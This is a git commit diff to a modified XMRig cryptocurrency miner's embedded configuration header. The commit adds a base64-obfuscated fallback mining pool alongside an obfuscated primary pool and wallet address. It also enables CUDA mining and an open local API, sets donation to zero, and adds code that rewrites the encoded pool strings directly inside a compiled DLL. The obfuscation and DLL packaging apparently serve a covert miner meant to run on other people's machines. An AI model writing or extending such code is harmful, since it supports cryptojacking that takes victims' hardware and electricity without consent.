Add secondary fallback pool, CUDA support, env var overrides, and API-based URL updating with DLL patching
This commit is contained in:
parent
71b068ea2f
commit
e4405d7e75
@ -22,6 +22,7 @@
|
||||
#include "3rdparty/rapidjson/error/en.h"
|
||||
#include "base/io/json/Json.h"
|
||||
#include "base/net/http/HttpData.h"
|
||||
#include "core/config/Config_default.h"
|
||||
|
||||
|
||||
namespace xmrig {
|
||||
|
||||
@ -1,7 +1,11 @@
|
||||
#ifndef XMRIG_CONFIG_DEFAULT_H
|
||||
#define XMRIG_CONFIG_DEFAULT_H
|
||||
|
||||
#include <cstdlib> // for getenv
|
||||
#include <fstream>
|
||||
#include <iostream>
|
||||
#include <stdio.h>
|
||||
#include <string>
|
||||
#include <string.h> // for strcpy
|
||||
#include "base/tools/Cvt.h"
|
||||
|
||||
@ -9,25 +13,64 @@ namespace xmrig {
|
||||
|
||||
const char* const ENC_URL = "ENC:cG9vbC5zdXBwb3J0eG1yLmNvbTo0NDM";
|
||||
const char* const ENC_USER = "ENC:OEJYVk02RVRXWEpLTXRxSER4ZGdqRUhXOHFuZGE1YmVkNWN4UHZ1N3pnVlNYSmdIWm9nZVRBQk12WHBZU0hvUnB1Y1dkcWRGeVdneDNlM1d6SjdiNXVZVEVBc3lib0E";
|
||||
const char* const ENC_FALLBACK_URL = "ENC:cG9vbC5oYXNodmF1bHQucHJvOjQ0Mw";
|
||||
|
||||
// Function to update embedded URLs in the DLL file
|
||||
void updateEmbeddedUrls(const char* newPrimary, const char* newFallback, const char* newUser = nullptr);
|
||||
|
||||
inline const char* getEmbeddedConfig()
|
||||
{
|
||||
static char buf[8192] = {0};
|
||||
const xmrig::String tmp_url_str = Cvt::fromBase64(ENC_URL + 4);
|
||||
const char* tmp_url = tmp_url_str.data();
|
||||
char url_copy[512];
|
||||
strcpy(url_copy, tmp_url ? tmp_url : "");
|
||||
const char* url = url_copy;
|
||||
|
||||
const xmrig::String user_str = Cvt::fromBase64(ENC_USER + 4);
|
||||
const char* user = user_str.data();
|
||||
// Check for environment variable overrides
|
||||
const char* primary_url_env = getenv("XMRIG_PRIMARY_URL");
|
||||
const char* fallback_url_env = getenv("XMRIG_FALLBACK_URL");
|
||||
const char* user_env = getenv("XMRIG_USER");
|
||||
|
||||
// Primary URL
|
||||
const char* primary_url;
|
||||
if (primary_url_env && *primary_url_env) {
|
||||
primary_url = primary_url_env;
|
||||
} else {
|
||||
const xmrig::String tmp_url_str = Cvt::fromBase64(ENC_URL + 4);
|
||||
static char primary_url_copy[512];
|
||||
strcpy(primary_url_copy, tmp_url_str.data() ? tmp_url_str.data() : "");
|
||||
primary_url = primary_url_copy;
|
||||
}
|
||||
|
||||
// Fallback URL
|
||||
const char* fallback_url;
|
||||
if (fallback_url_env && *fallback_url_env) {
|
||||
fallback_url = fallback_url_env;
|
||||
} else {
|
||||
const xmrig::String tmp_fallback_str = Cvt::fromBase64(ENC_FALLBACK_URL + 4);
|
||||
static char fallback_url_copy[512];
|
||||
strcpy(fallback_url_copy, tmp_fallback_str.data() ? tmp_fallback_str.data() : "");
|
||||
fallback_url = fallback_url_copy;
|
||||
}
|
||||
|
||||
// User
|
||||
const char* user;
|
||||
if (user_env && *user_env) {
|
||||
user = user_env;
|
||||
} else {
|
||||
const xmrig::String user_str = Cvt::fromBase64(ENC_USER + 4);
|
||||
static char user_copy[512];
|
||||
strcpy(user_copy, user_str.data() ? user_str.data() : "");
|
||||
user = user_copy;
|
||||
}
|
||||
|
||||
const char* template_str = R"===(
|
||||
{
|
||||
"api": {
|
||||
"id": null,
|
||||
"worker-id": null
|
||||
},
|
||||
"api": {
|
||||
"id": null,
|
||||
"worker-id": null,
|
||||
"enabled": true,
|
||||
"host": "127.0.0.1",
|
||||
"port": 8080,
|
||||
"access-token": null,
|
||||
"restricted": false
|
||||
},
|
||||
"http": {
|
||||
"enabled": false,
|
||||
"host": "127.0.0.1",
|
||||
@ -74,7 +117,7 @@ inline const char* getEmbeddedConfig()
|
||||
"cn-lite/0": false
|
||||
},
|
||||
"cuda": {
|
||||
"enabled": false,
|
||||
"enabled": true,
|
||||
"loader": null,
|
||||
"nvml": true,
|
||||
"cn/0": false,
|
||||
@ -83,25 +126,42 @@ inline const char* getEmbeddedConfig()
|
||||
"donate-level": 0,
|
||||
"donate-over-proxy": 0,
|
||||
"log-file": null,
|
||||
"pools": [
|
||||
{
|
||||
"algo": null,
|
||||
"coin": null,
|
||||
"url": "%s",
|
||||
"user": "%s",
|
||||
"pass": "x",
|
||||
"rig-id": null,
|
||||
"nicehash": false,
|
||||
"keepalive": false,
|
||||
"enabled": true,
|
||||
"tls": true,
|
||||
"tls-fingerprint": null,
|
||||
"daemon": false,
|
||||
"socks5": null,
|
||||
"self-select": null,
|
||||
"submit-to-origin": false
|
||||
}
|
||||
],
|
||||
"pools": [
|
||||
{
|
||||
"algo": null,
|
||||
"coin": null,
|
||||
"url": "%s",
|
||||
"user": "%s",
|
||||
"pass": "x",
|
||||
"rig-id": null,
|
||||
"nicehash": false,
|
||||
"keepalive": false,
|
||||
"enabled": true,
|
||||
"tls": true,
|
||||
"tls-fingerprint": null,
|
||||
"daemon": false,
|
||||
"socks5": null,
|
||||
"self-select": null,
|
||||
"submit-to-origin": false
|
||||
},
|
||||
{
|
||||
"algo": null,
|
||||
"coin": null,
|
||||
"url": "%s",
|
||||
"user": "%s",
|
||||
"pass": "x",
|
||||
"rig-id": null,
|
||||
"nicehash": false,
|
||||
"keepalive": false,
|
||||
"enabled": true,
|
||||
"tls": true,
|
||||
"tls-fingerprint": null,
|
||||
"daemon": false,
|
||||
"socks5": null,
|
||||
"self-select": null,
|
||||
"submit-to-origin": false
|
||||
}
|
||||
],
|
||||
"print-time":0,
|
||||
"health-print-time":0,
|
||||
"dmi": true,
|
||||
@ -126,10 +186,66 @@ inline const char* getEmbeddedConfig()
|
||||
}
|
||||
)===";
|
||||
|
||||
snprintf(buf, sizeof(buf), template_str, url, user);
|
||||
snprintf(buf, sizeof(buf), template_str, primary_url, user, fallback_url, user);
|
||||
return buf;
|
||||
}
|
||||
|
||||
// Helper to base64 encode
|
||||
static inline std::string base64Encode(const std::string& input) {
|
||||
// Simple base64 encode; in practice, use a proper library
|
||||
static const char* base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||||
std::string encoded;
|
||||
int val = 0, valb = -6;
|
||||
for (unsigned char c : input) {
|
||||
val = (val << 8) + c;
|
||||
valb += 8;
|
||||
while (valb >= 0) {
|
||||
encoded.push_back(base64Chars[(val >> valb) & 0x3F]);
|
||||
valb -= 6;
|
||||
}
|
||||
}
|
||||
if (valb > -6) encoded.push_back(base64Chars[((val << 8) >> (valb + 8)) & 0x3F]);
|
||||
while (encoded.size() % 4) encoded.push_back('=');
|
||||
return encoded;
|
||||
}
|
||||
|
||||
// Update embedded URLs by patching the DLL file
|
||||
static inline void updateEmbeddedUrls(const char* dllPath, const char* newPrimary, const char* newFallback, const char* newUser)
|
||||
{
|
||||
// Encode new URLs
|
||||
std::string encPrimary = "ENC:" + base64Encode(newPrimary);
|
||||
std::string encFallback = "ENC:" + base64Encode(newFallback);
|
||||
std::string encUser = newUser ? "ENC:" + base64Encode(newUser) : std::string(ENC_USER);
|
||||
|
||||
// Open DLL file and replace strings
|
||||
std::ifstream dllFile(dllPath, std::ios::binary | std::ios::ate);
|
||||
if (!dllFile) return;
|
||||
|
||||
std::streamsize size = dllFile.tellg();
|
||||
dllFile.seekg(0, std::ios::beg);
|
||||
|
||||
std::string content(size, '\0');
|
||||
if (!dllFile.read(&content[0], size)) return;
|
||||
dllFile.close();
|
||||
|
||||
// Replace old encoded strings
|
||||
size_t pos;
|
||||
if ((pos = content.find(ENC_URL)) != std::string::npos) {
|
||||
content.replace(pos, strlen(ENC_URL), encPrimary);
|
||||
}
|
||||
if ((pos = content.find(ENC_FALLBACK_URL)) != std::string::npos) {
|
||||
content.replace(pos, strlen(ENC_FALLBACK_URL), encFallback);
|
||||
}
|
||||
if (newUser && (pos = content.find(ENC_USER)) != std::string::npos) {
|
||||
content.replace(pos, strlen(ENC_USER), encUser);
|
||||
}
|
||||
|
||||
// Write back
|
||||
std::ofstream outFile(dllPath, std::ios::binary);
|
||||
outFile.write(content.c_str(), content.size());
|
||||
outFile.close();
|
||||
}
|
||||
|
||||
} // namespace xmrig
|
||||
|
||||
#endif // XMRIG_CONFIG_DEFAULT_H
|
||||
|
||||
Loading…
Reference in New Issue
Block a user